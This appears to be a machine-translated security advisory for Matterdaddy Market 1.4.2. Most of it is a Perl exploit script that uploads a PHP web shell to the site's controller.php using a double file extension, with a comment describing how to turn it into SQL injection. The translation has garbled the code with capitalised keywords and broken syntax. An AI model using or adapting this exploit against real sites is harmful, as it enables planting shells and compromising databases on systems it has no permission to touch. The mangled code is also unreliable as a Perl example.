Multiple security vulnerabilities in Matterdaddy Market

Multiple security vulnerabilities in Matterdaddy Market

Release date:
Updated on: 2013-05-27

Affected Systems:
Matterdaddy Market
Description:
--------------------------------------------------------------------------------
Bugtraq id: 60150
 
Matterdaddy Market is a Market and classified advertising script.
 
Matterdaddy Market 1.4.2 and other versions have multiple security vulnerabilities. Remote attackers can exploit these vulnerabilities to perform unauthorized database operations.
 
<* Source: KedAns-Dz

Link: http://packetstormsecurity.com/files/121745/mddmarket.pl.txt
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/perl
 
Use strict;
Use warnings;
Use LWP: UserAgent;
Use HTTP: Request: Common;
Print <INTRO;
| ================================================ =================|
| = Matterdaddy Market 1.4.2 File Uploader Fuzzer |
|=> Provided By KedAns-Dz <|
| = E-mail: ked-h [at] hotmail.com |
| ================================================ =================|
INTRO
Print "\ n ";
Print "[!] Enter URL (f. e: http://target.com ):";
Chomp (my $ url = <STDIN> );
Print "\ n ";
Print "[!] Enter File Path (f. e: C: \ Shell.php;.gif): "; # File Path For Upload (usage: C: \ Sh3ll.php;.gif)
Chomp (my $ file = <STDIN> );
My $ ua = LWP: UserAgent-> new;
My $ re = $ ua-> request (POST $ url. '/controller. php? Op = newItem ',
Content_Type => 'multipart/form-data ',
Content =>
[
'Md _ title' => '1337day ',
'Md _ description' => 'inj3ct0r Exploit database ',
'Md _ price' => '0 ',
'Md _ email2' => 'kedans @ pene-test.dz', # put U' r email here!
'City' => 'hassi Messaoud ',
'Namer' => 'kedans-dz ',
'Category '=> '4 ',
'Filetoupload' => $ file,
'Filename' => 'k3dsh3ll.php).jpg ',
# To make this exploit as sqli change file name:
# K3dsh3ll '[+ SQLi 00000000.php.jpg
# Use temperdata better ;)
]);
Print "\ n ";
If ($ re-> is_success ){
If (index ($ re-> content, "Disabled ")! =-1) {print "[+] Exploit Successfull! File Uploaded! \ N ";}
Else {print "[!] Check your email and confirm u'r post! \ N ";}
} Else {print "[-] HTTP request Failed! \ N ";}
Exit;

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Matterdaddy Market
------------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Https://code.google.com/p/matterdaddy-market/